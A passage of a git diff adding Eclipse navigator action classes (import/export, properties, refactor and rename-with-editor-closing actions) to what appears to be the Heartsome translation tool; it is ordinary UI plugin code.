org.eclipse.ui.navigator.ICommonMenuConstants; +import org.eclipse.ui.navigator.ICommonViewerWorkbenchSite; +import org.eclipse.ui.navigator.WizardActionGroup; + +/** + * Adds actions for Import/Export wizards. The group is smart, in that it will + * either add actions for Import and Export, or if there are context sensitive + * options available (as defined by org.eclipse.ui.navigator.commonWizard), + * then it will compound these options into a submenu with the appropriate lead + * text ("Import" or "Export"). + * + *

    + * EXPERIMENTAL. This class or interface has been added as + * part of a work in progress. There is a guarantee neither that this API will + * work nor that it will remain the same. Please do not use this API without + * consulting with the Platform/UI team. + *

    + * + * @since 3.2 + */ +public class PortingActionProvider extends CommonActionProvider { + + private static final String COMMON_NAVIGATOR_IMPORT_MENU = "common.import.menu"; //$NON-NLS-1$ + + private static final String COMMON_NAVIGATOR_EXPORT_MENU = "common.export.menu"; //$NON-NLS-1$ + + private ImportResourcesAction importAction; + + private ExportResourcesAction exportAction; + + private WizardActionGroup importWizardActionGroup; + + private WizardActionGroup exportWizardActionGroup; + + private boolean disposed = false; + + private boolean contribute= false; + + public void init(ICommonActionExtensionSite anExtensionSite) { + + Assert.isTrue(!disposed); + + if (anExtensionSite.getViewSite() instanceof ICommonViewerWorkbenchSite) { + + IWorkbenchWindow window = ((ICommonViewerWorkbenchSite) anExtensionSite + .getViewSite()).getWorkbenchWindow(); + importAction = new ImportResourcesAction(window); + importAction.setText(WorkbenchNavigatorMessages.PortingActionProvider_ImportResourcesMenu_label); + exportAction = new ExportResourcesAction(window); + exportAction.setText(WorkbenchNavigatorMessages.PortingActionProvider_ExportResourcesMenu_label); + importWizardActionGroup = new WizardActionGroup(window, PlatformUI + .getWorkbench().getImportWizardRegistry(), + WizardActionGroup.TYPE_IMPORT, anExtensionSite.getContentService()); + exportWizardActionGroup = new WizardActionGroup(window, PlatformUI + .getWorkbench().getExportWizardRegistry(), + WizardActionGroup.TYPE_EXPORT, anExtensionSite.getContentService()); + contribute = true; + } + } + + /** + * Extends the superclass implementation to dispose the subgroups. + */ + public void dispose() { + if(!contribute) { + return; + } + importWizardActionGroup.dispose(); + exportWizardActionGroup.dispose(); + importAction = null; + exportAction = null; + disposed = true; + } + + public void fillContextMenu(IMenuManager aMenu) { + if(!contribute) { + return; + } + + Assert.isTrue(!disposed); + + ISelection selection = getContext().getSelection(); + if (!(selection instanceof IStructuredSelection) || ((IStructuredSelection) selection).size() > 1) { + addSimplePortingMenus(aMenu); + } else { + addImportMenu(aMenu); + addExportMenu(aMenu); + } + } + + /** + * Returns the image descriptor with the given relative path. + */ + protected ImageDescriptor getImageDescriptor(String relativePath) { + String iconPath = "icons/full/"; //$NON-NLS-1$ + URL url = FileLocator.find(WorkbenchNavigatorPlugin.getDefault().getBundle(), new Path(iconPath + relativePath), Collections.EMPTY_MAP); + if (url == null) { + return ImageDescriptor.getMissingImageDescriptor(); + } + return ImageDescriptor.createFromURL(url); + } + + private void addSimplePortingMenus(IMenuManager aMenu) { + aMenu.appendToGroup(ICommonMenuConstants.GROUP_PORT, importAction); + aMenu.appendToGroup(ICommonMenuConstants.GROUP_PORT, exportAction); + } + + private void addImportMenu(IMenuManager aMenu) { + + importWizardActionGroup.setContext(getContext()); + if (importWizardActionGroup.getWizardActionIds().length == 0) { + aMenu.appendToGroup(ICommonMenuConstants.GROUP_PORT, importAction); + return; + } + + IMenuManager submenu = new MenuManager( + WorkbenchNavigatorMessages.PortingActionProvider_ImportResourcesMenu_label, + COMMON_NAVIGATOR_IMPORT_MENU); + importWizardActionGroup.fillContextMenu(submenu); + + submenu.add(new Separator(ICommonMenuConstants.GROUP_ADDITIONS)); + submenu.add(new Separator()); + submenu.add(importAction); + aMenu.appendToGroup(ICommonMenuConstants.GROUP_PORT, submenu); + } + + private void addExportMenu(IMenuManager aMenu) { + + exportWizardActionGroup.setContext(getContext()); + if (exportWizardActionGroup.getWizardActionIds().length == 0) { + aMenu.appendToGroup(ICommonMenuConstants.GROUP_PORT, exportAction); + return; + } + IMenuManager submenu = new MenuManager( + WorkbenchNavigatorMessages.PortingActionProvider_ExportResourcesMenu_label, + COMMON_NAVIGATOR_EXPORT_MENU); + exportWizardActionGroup.fillContextMenu(submenu); + + submenu.add(new Separator(ICommonMenuConstants.GROUP_ADDITIONS)); + submenu.add(new Separator()); + submenu.add(exportAction); + aMenu.appendToGroup(ICommonMenuConstants.GROUP_PORT, submenu); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PropertiesActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PropertiesActionProvider.java new file mode 100644 index 0000000..e170973 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PropertiesActionProvider.java @@ -0,0 +1,179 @@ +/******************************************************************************* + * Copyright (c) 2005, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IWorkbenchCommandConstants; +import org.eclipse.ui.actions.ActionContext; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.dialogs.PropertyDialogAction; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import org.eclipse.ui.navigator.ICommonMenuConstants; + +/** + * Adds the properties action to the menu. + * + * @since 3.2 + * + */ +public class PropertiesActionProvider extends CommonActionProvider { + + private PropertyDialogAction propertiesAction; + private ISelectionProvider delegateSelectionProvider; + + public void init(final ICommonActionExtensionSite aSite) { + + delegateSelectionProvider = new DelegateSelectionProvider( aSite.getViewSite().getSelectionProvider()); + propertiesAction = new PropertyDialogAction(new IShellProvider() { + public Shell getShell() { + return aSite.getViewSite().getShell(); + } + },delegateSelectionProvider); + propertiesAction.setText("属性"); + propertiesAction.setActionDefinitionId(IWorkbenchCommandConstants.FILE_PROPERTIES); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.actions.ActionGroup#fillContextMenu(org.eclipse.jface.action.IMenuManager) + */ + public void fillContextMenu(IMenuManager menu) { + super.fillContextMenu(menu); + + if (propertiesAction.isApplicableForSelection()) { + menu.appendToGroup(ICommonMenuConstants.GROUP_PROPERTIES, + propertiesAction); + } + + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.ui.actions.ActionGroup#fillActionBars(org.eclipse.ui.IActionBars + * ) + */ + public void fillActionBars(IActionBars actionBars) { + super.fillActionBars(actionBars); + + actionBars.setGlobalActionHandler(ActionFactory.PROPERTIES.getId(), + propertiesAction); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.actions.ActionGroup#setContext(org.eclipse.ui.actions.ActionContext) + */ + public void setContext(ActionContext context) { + super.setContext(context); + + propertiesAction.selectionChanged(delegateSelectionProvider + .getSelection()); + + } + + private class DelegateIAdaptable implements IAdaptable { + + private Object delegate; + + private DelegateIAdaptable(Object o) { + delegate = o; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.runtime.IAdaptable#getAdapter(java.lang.Class) + */ + public Object getAdapter(Class adapter) { + if (adapter.isInstance(delegate) || delegate == null) { + return delegate; + } + return Platform.getAdapterManager().getAdapter(delegate, adapter); + } + } + + private class DelegateSelectionProvider implements ISelectionProvider { + + private ISelectionProvider delegate; + + private DelegateSelectionProvider(ISelectionProvider s) { + delegate = s; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.ISelectionProvider#addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) + */ + public void addSelectionChangedListener( + ISelectionChangedListener listener) { + delegate.addSelectionChangedListener(listener); + + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.ISelectionProvider#getSelection() + */ + public ISelection getSelection() { + if (delegate.getSelection() instanceof IStructuredSelection) { + IStructuredSelection sSel = (IStructuredSelection) delegate + .getSelection(); + if (sSel.getFirstElement() instanceof IAdaptable) { + return sSel; + } + + return new StructuredSelection(new DelegateIAdaptable(sSel + .getFirstElement())); + } + return delegate.getSelection(); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.ISelectionProvider#removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) + */ + public void removeSelectionChangedListener( + ISelectionChangedListener listener) { + delegate.removeSelectionChangedListener(listener); + + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.ISelectionProvider#setSelection(org.eclipse.jface.viewers.ISelection) + */ + public void setSelection(ISelection selection) { + delegate.setSelection(selection); + + } + + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RefactorActionGroup.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RefactorActionGroup.java new file mode 100644 index 0000000..cd66295 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RefactorActionGroup.java @@ -0,0 +1,122 @@ +/******************************************************************************* + * Copyright (c) 2000, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Sebastian Davids - Images for menu items (27481) + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.resources.IResource; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IWorkbenchCommandConstants; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionGroup; +import org.eclipse.ui.actions.MoveResourceAction; +import org.eclipse.ui.actions.RenameResourceAction; +import org.eclipse.ui.ide.ResourceSelectionUtil; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; + +/** + * This is the action group for refactor actions, including global action + * handlers for copy, paste and delete. + * + * @since 2.0 + */ +public class RefactorActionGroup extends ActionGroup { + + private RenameResourceAndCloseEditorAction renameAction; + + private MoveResourceAction moveAction; + + private Shell shell; + + private Tree tree; + + /** + * + * @param aShell + * @param aTree + */ + public RefactorActionGroup(Shell aShell, Tree aTree) { + shell = aShell; + tree = aTree; + makeActions(); + } + + public void fillContextMenu(IMenuManager menu) { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + + boolean anyResourceSelected = !selection.isEmpty() + && ResourceSelectionUtil.allResourcesAreOfType(selection, IResource.PROJECT | IResource.FOLDER | IResource.FILE); + + if (anyResourceSelected) { + moveAction.selectionChanged(selection); +// menu.appendToGroup(ICommonMenuConstants.GROUP_REORGANIZE, moveAction); + renameAction.selectionChanged(selection); +// menu.insertAfter(moveAction.getId(), renameAction); + } + } + + public void fillActionBars(IActionBars actionBars) { + + // renameAction.setTextActionHandler(textActionHandler); + updateActionBars(); + + actionBars.setGlobalActionHandler(ActionFactory.MOVE.getId(), moveAction); + actionBars.setGlobalActionHandler(ActionFactory.RENAME.getId(), renameAction); + } + + /** + * Handles a key pressed event by invoking the appropriate action. + * + * @param event + * The Key Event + */ + public void handleKeyPressed(KeyEvent event) { + + if (event.keyCode == SWT.F2 && event.stateMask == 0) { + if (renameAction.isEnabled()) { + renameAction.run(); + } + + // Swallow the event. + event.doit = false; + } + } + + protected void makeActions() { + IShellProvider sp = new IShellProvider() { + public Shell getShell() { + return shell; + } + }; + + moveAction = new MoveResourceAction(sp); + moveAction.setText(WorkbenchNavigatorMessages.actions_RefactorActionGroup_moveAction); + moveAction.setActionDefinitionId(IWorkbenchCommandConstants.FILE_MOVE); + + renameAction = new RenameResourceAndCloseEditorAction(sp, tree); + renameAction.setText(WorkbenchNavigatorMessages.actions_RefactorActionGroup_renameAction); + renameAction.setActionDefinitionId(IWorkbenchCommandConstants.FILE_RENAME); + } + + public void updateActionBars() { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + + moveAction.selectionChanged(selection); + renameAction.selectionChanged(selection); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RefactorActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RefactorActionProvider.java new file mode 100644 index 0000000..2662ffe --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RefactorActionProvider.java @@ -0,0 +1,60 @@ +/******************************************************************************* + * Copyright (c) 2006, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Oakland Software (Francis Upton - francisu@ieee.org) + * bug 214271 Undo/redo not enabled if nothing selected + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.actions.ActionContext; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; + +/** + * @since 3.2 + * + */ +public class RefactorActionProvider extends CommonActionProvider { + + private RefactorActionGroup refactorGroup; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonActionProvider#init(org.eclipse.ui.navigator.ICommonActionExtensionSite) + */ + public void init(ICommonActionExtensionSite anActionSite) { + refactorGroup = new RefactorActionGroup(anActionSite.getViewSite().getShell(), (Tree)anActionSite.getStructuredViewer().getControl()); + } + + public void dispose() { + refactorGroup.dispose(); + } + + public void fillActionBars(IActionBars actionBars) { + refactorGroup.fillActionBars(actionBars); + } + + public void fillContextMenu(IMenuManager menu) { + refactorGroup.fillContextMenu(menu); + } + + public void setContext(ActionContext context) { + refactorGroup.setContext(context); + } + + public void updateActionBars() { + refactorGroup.updateActionBars(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RenameResourceAndCloseEditorAction.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RenameResourceAndCloseEditorAction.java new file mode 100644 index 0000000..39dc568 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/RenameResourceAndCloseEditorAction.java @@ -0,0 +1,797 @@ +/******************************************************************************* + * Copyright (c) 2000, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.io.File; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourceAttributes; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.dialogs.InputDialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.TreeEditor; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeItem; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.WorkspaceAction; +import org.eclipse.ui.ide.undo.MoveResourcesOperation; +import org.eclipse.ui.ide.undo.WorkspaceUndoUtil; +import org.eclipse.ui.internal.ide.IDEWorkbenchMessages; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.ide.IIDEHelpContextIds; +import org.eclipse.ui.internal.ide.actions.LTKLauncher; +import org.eclipse.ui.internal.navigator.TextActionHandler; +import org.eclipse.ui.part.FileEditorInput; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * Standard action for renaming the selected resources. + *

    + * This class may be instantiated; it is not intended to be subclassed. + *

    + * @noextend This class is not intended to be subclassed by clients. + */ +public class RenameResourceAndCloseEditorAction extends WorkspaceAction { + + /* + * The tree editing widgets. If treeEditor is null then edit using the + * dialog. We keep the editorText around so that we can close it if a new + * selection is made. + */ + private TreeEditor treeEditor; + + private Tree navigatorTree; + + private Text textEditor; + + private Composite textEditorParent; + + private TextActionHandler textActionHandler; + + // The resource being edited if this is being done inline + private IResource inlinedResource; + + private boolean saving = false; + + /** + * The id of this action. + */ + public static final String ID = PlatformUI.PLUGIN_ID + + ".RenameResourceAction";//$NON-NLS-1$ + + /** + * The new path. + */ + private IPath newPath; + + private String[] modelProviderIds; + + private static final String CHECK_RENAME_TITLE = IDEWorkbenchMessages.RenameResourceAction_checkTitle; + + private static final String CHECK_RENAME_MESSAGE = IDEWorkbenchMessages.RenameResourceAction_readOnlyCheck; + + private static String RESOURCE_EXISTS_TITLE = IDEWorkbenchMessages.RenameResourceAction_resourceExists; + + private static String RESOURCE_EXISTS_MESSAGE = IDEWorkbenchMessages.RenameResourceAction_overwriteQuestion; + + private static String PROJECT_EXISTS_MESSAGE = IDEWorkbenchMessages.RenameResourceAction_overwriteProjectQuestion; + + private static String PROJECT_EXISTS_TITLE = IDEWorkbenchMessages.RenameResourceAction_projectExists; + + private IShellProvider shellProvider; + /** + * Creates a new action. Using this constructor directly will rename using a + * dialog rather than the inline editor of a ResourceNavigator. + * + * @param shell + * the shell for any dialogs + * @deprecated see {@link #RenameResourceAction(IShellProvider)} + */ + public RenameResourceAndCloseEditorAction(Shell shell) { + super(shell, IDEWorkbenchMessages.RenameResourceAction_text); + initAction(); + } + + /** + * Creates a new action. Using this constructor directly will rename using a + * dialog rather than the inline editor of a ResourceNavigator. + * + * @param provider + * the IShellProvider for any dialogs + * @since 3.4 + */ + public RenameResourceAndCloseEditorAction(IShellProvider provider){ + super(provider, IDEWorkbenchMessages.RenameResourceAction_text); + shellProvider = provider; + initAction(); + } + + private void initAction(){ + setToolTipText(IDEWorkbenchMessages.RenameResourceAction_toolTip); + setId(ID); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, + IIDEHelpContextIds.RENAME_RESOURCE_ACTION); + } + /** + * Creates a new action. + * + * @param shell + * the shell for any dialogs + * @param tree + * the tree + * @deprecated see {@link #RenameResourceAction(IShellProvider, Tree)} + */ + public RenameResourceAndCloseEditorAction(Shell shell, Tree tree) { + this(shell); + this.navigatorTree = tree; + this.treeEditor = new TreeEditor(tree); + } + + /** + * Creates a new action. + * + * @param provider + * the shell provider for any dialogs + * @param tree + * the tree + * @since 3.4 + */ + public RenameResourceAndCloseEditorAction(IShellProvider provider, Tree tree) { + this(provider); + this.navigatorTree = tree; + this.treeEditor = new TreeEditor(tree); + } + + /** + * Check if the user wishes to overwrite the supplied resource + * + * @returns true if there is no collision or delete was successful + * @param shell + * the shell to create the dialog in + * @param destination - + * the resource to be overwritten + */ + private boolean checkOverwrite(final Shell shell, + final IResource destination) { + + final boolean[] result = new boolean[1]; + + // Run it inside of a runnable to make sure we get to parent off of the + // shell as we are not in the UI thread. + + Runnable query = new Runnable() { + public void run() { + String pathName = destination.getFullPath().makeRelative() + .toString(); + String message = RESOURCE_EXISTS_MESSAGE; + String title = RESOURCE_EXISTS_TITLE; + if (destination.getType() == IResource.PROJECT) { + message = PROJECT_EXISTS_MESSAGE; + title = PROJECT_EXISTS_TITLE; + } + result[0] = MessageDialog.openQuestion(shell, + title, MessageFormat.format(message, + new Object[] { pathName })); + } + + }; + + shell.getDisplay().syncExec(query); + return result[0]; + } + + /** + * Check if the supplied resource is read only or null. If it is then ask + * the user if they want to continue. Return true if the resource is not + * read only or if the user has given permission. + * + * @return boolean + */ + private boolean checkReadOnlyAndNull(IResource currentResource) { + // Do a quick read only and null check + if (currentResource == null) { + return false; + } + + // Do a quick read only check + final ResourceAttributes attributes = currentResource + .getResourceAttributes(); + if (attributes != null && attributes.isReadOnly()) { + return MessageDialog.openQuestion(shellProvider.getShell(), CHECK_RENAME_TITLE, + MessageFormat.format(CHECK_RENAME_MESSAGE, + new Object[] { currentResource.getName() })); + } + + return true; + } + + Composite createParent() { + Tree tree = getTree(); + Composite result = new Composite(tree, SWT.NONE); + TreeItem[] selectedItems = tree.getSelection(); + treeEditor.horizontalAlignment = SWT.LEFT; + treeEditor.grabHorizontal = true; + treeEditor.setEditor(result, selectedItems[0]); + return result; + } + + /** + * Get the inset used for cell editors + * @param c the Control + * @return int + */ + private static int getCellEditorInset(Control c) { + return 1; // one pixel wide black border + } + + /** + * Create the text editor widget. + * + * @param resource + * the resource to rename + */ + private void createTextEditor(final IResource resource) { + // Create text editor parent. This draws a nice bounding rect. + textEditorParent = createParent(); + textEditorParent.setVisible(false); + final int inset = getCellEditorInset(textEditorParent); + if (inset > 0) { + textEditorParent.addListener(SWT.Paint, new Listener() { + public void handleEvent(Event e) { + Point textSize = textEditor.getSize(); + Point parentSize = textEditorParent.getSize(); + e.gc.drawRectangle(0, 0, Math.min(textSize.x + 4, + parentSize.x - 1), parentSize.y - 1); + } + }); + } + // Create inner text editor. + textEditor = new Text(textEditorParent, SWT.NONE); + textEditor.setFont(navigatorTree.getFont()); + textEditorParent.setBackground(textEditor.getBackground()); + textEditor.addListener(SWT.Modify, new Listener() { + public void handleEvent(Event e) { + Point textSize = textEditor.computeSize(SWT.DEFAULT, + SWT.DEFAULT); + textSize.x += textSize.y; // Add extra space for new + // characters. + Point parentSize = textEditorParent.getSize(); + textEditor.setBounds(2, inset, Math.min(textSize.x, + parentSize.x - 4), parentSize.y - 2 * inset); + textEditorParent.redraw(); + } + }); + textEditor.addListener(SWT.Traverse, new Listener() { + public void handleEvent(Event event) { + + // Workaround for Bug 20214 due to extra + // traverse events + switch (event.detail) { + case SWT.TRAVERSE_ESCAPE: + // Do nothing in this case + disposeTextWidget(); + event.doit = true; + event.detail = SWT.TRAVERSE_NONE; + break; + case SWT.TRAVERSE_RETURN: + saveChangesAndDispose(resource); + event.doit = true; + event.detail = SWT.TRAVERSE_NONE; + break; + } + } + }); + textEditor.addFocusListener(new FocusAdapter() { + public void focusLost(FocusEvent fe) { + saveChangesAndDispose(resource); + closeRelatedEditors(); + } + }); + + if (textActionHandler != null) { + textActionHandler.addText(textEditor); + } + } + + /** + * Close the text widget and reset the editorText field. + */ + private void disposeTextWidget() { + if (textActionHandler != null) { + textActionHandler.removeText(textEditor); + } + + if (textEditorParent != null) { + textEditorParent.dispose(); + textEditorParent = null; + textEditor = null; + treeEditor.setEditor(null, null); + } + } + + /** + * Returns the elements that the action is to be performed on. Return the + * resource cached by the action as we cannot rely on the selection being + * correct for inlined text. + * + * @return list of resource elements (element type: IResource) + */ + protected List getActionResources() { + if (inlinedResource == null) { + return super.getActionResources(); + } + + List actionResources = new ArrayList(); + actionResources.add(inlinedResource); + return actionResources; + } + + /* + * (non-Javadoc) Method declared on WorkspaceAction. + */ + protected String getOperationMessage() { + return IDEWorkbenchMessages.RenameResourceAction_progress; + } + + /* + * (non-Javadoc) Method declared on WorkspaceAction. + */ + protected String getProblemsMessage() { + return IDEWorkbenchMessages.RenameResourceAction_problemMessage; + } + + /* + * (non-Javadoc) Method declared on WorkspaceAction. + */ + protected String getProblemsTitle() { + return IDEWorkbenchMessages.RenameResourceAction_problemTitle; + } + + /** + * Get the Tree being edited. + * + * @returnTree + */ + private Tree getTree() { + return this.navigatorTree; + } + + /** + * Return the new name to be given to the target resource. + * + * @return java.lang.String + * @param resource + * the resource to query status on + */ + protected String queryNewResourceName(final IResource resource) { + final IWorkspace workspace = IDEWorkbenchPlugin.getPluginWorkspace(); + final IPath prefix = resource.getFullPath().removeLastSegments(1); + IInputValidator validator = new IInputValidator() { + public String isValid(String string) { + if (resource.getName().equals(string)) { + return IDEWorkbenchMessages.RenameResourceAction_nameMustBeDifferent; + } + IStatus status = workspace.validateName(string, resource + .getType()); + if (!status.isOK()) { + return status.getMessage(); + } + if (workspace.getRoot().exists(prefix.append(string))) { + return IDEWorkbenchMessages.RenameResourceAction_nameExists; + } + return null; + } + }; + + InputDialog dialog = new InputDialog(shellProvider.getShell(), + IDEWorkbenchMessages.RenameResourceAction_inputDialogTitle, + IDEWorkbenchMessages.RenameResourceAction_inputDialogMessage, + resource.getName(), validator); + dialog.setBlockOnOpen(true); + int result = dialog.open(); + if (result == Window.OK) + return dialog.getValue(); + return null; + } + + /** + * Return the new name to be given to the target resource or + * null + * if the query was canceled. Rename the currently selected resource using the table editor. + * Continue the action when the user is done. + * + * @param resource the resource to rename + */ + private void queryNewResourceNameInline(final IResource resource) { + // Make sure text editor is created only once. Simply reset text + // editor when action is executed more than once. Fixes bug 22269. + if (textEditorParent == null) { + createTextEditor(resource); + } + textEditor.setText(resource.getName()); + + // Open text editor with initial size. + textEditorParent.setVisible(true); + Point textSize = textEditor.computeSize(SWT.DEFAULT, SWT.DEFAULT); + textSize.x += textSize.y; // Add extra space for new characters. + Point parentSize = textEditorParent.getSize(); + int inset = getCellEditorInset(textEditorParent); + textEditor.setBounds(2, inset, Math.min(textSize.x, parentSize.x - 4), + parentSize.y - 2 * inset); + textEditorParent.redraw(); + textEditor.selectAll(); + textEditor.setFocus(); + } + + /* + * (non-Javadoc) Method declared on IAction; overrides method on + * WorkspaceAction. + */ + public void run() { + IResource currentResource = getCurrentResource(); + if (currentResource == null || !currentResource.exists()) { + return; + } + if (LTKLauncher.openRenameWizard(getStructuredSelection())) { + return; + } + + if (this.navigatorTree == null) { + // Do a quick read only and null check + if (!checkReadOnlyAndNull(currentResource)) { + return; + } + String newName = queryNewResourceName(currentResource); + if (newName == null || newName.equals("")) { //$NON-NLS-1$ + return; + } + newPath = currentResource.getFullPath().removeLastSegments(1) + .append(newName); + super.run(); + } else { + runWithInlineEditor(); + } + } + + /** + * é‡å‘½å文件时,如果文件在编辑器中已打开,则关闭此文件。 ; + */ + private void closeRelatedEditors() { + IWorkbenchPage page = null; + for (IWorkbenchWindow window : PlatformUI.getWorkbench().getWorkbenchWindows()) { + if (window != null) { + page = window.getActivePage(); + break; + } + } + if (page == null) { + return; + } + IEditorReference[] editorReferences = page.getEditorReferences(); + List selectionResource = getSelectedResources(); + final List lstCloseEditor = new ArrayList(); + VTDGen vg = new VTDGen(); + AutoPilot ap = new AutoPilot(); + for (IEditorReference reference : editorReferences) { + IFile file = ((FileEditorInput) reference.getEditor(true).getEditorInput()).getFile(); + if ("xlp".equals(file.getFileExtension())) { + if (vg.parseFile(file.getLocation().toOSString(), true)) { + VTDNav vn = vg.getNav(); + ap.bind(vn); + try { + ap.selectXPath("/mergerFiles/mergerFile/@filePath"); + int index = -1; + merge: while ((index = ap.evalXPath()) != -1) { + String fileLC = vn.toString(index + 1); + if (fileLC != null && !"".equals(fileLC)) { + for (IResource resource : selectionResource) { + if (resource instanceof IProject || resource instanceof IFolder) { + if (fileLC.startsWith(resource.getLocation().toOSString() + File.separator)) { + lstCloseEditor.add(reference); + break merge; + } + } else if (resource instanceof IFile) { + if (resource.getLocation().toOSString().equals(fileLC)) { + lstCloseEditor.add(reference); + break merge; + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } else { + for (IResource resource : selectionResource) { + if (resource instanceof IProject) { + if (resource.getLocation().toOSString().equals(file.getProject().getLocation().toOSString())) { + lstCloseEditor.add(reference); + break; + } + } else if (resource instanceof IFolder) { + if (file.getLocation().toOSString() + .startsWith(resource.getLocation().toOSString() + File.separator)) { + lstCloseEditor.add(reference); + break; + } + 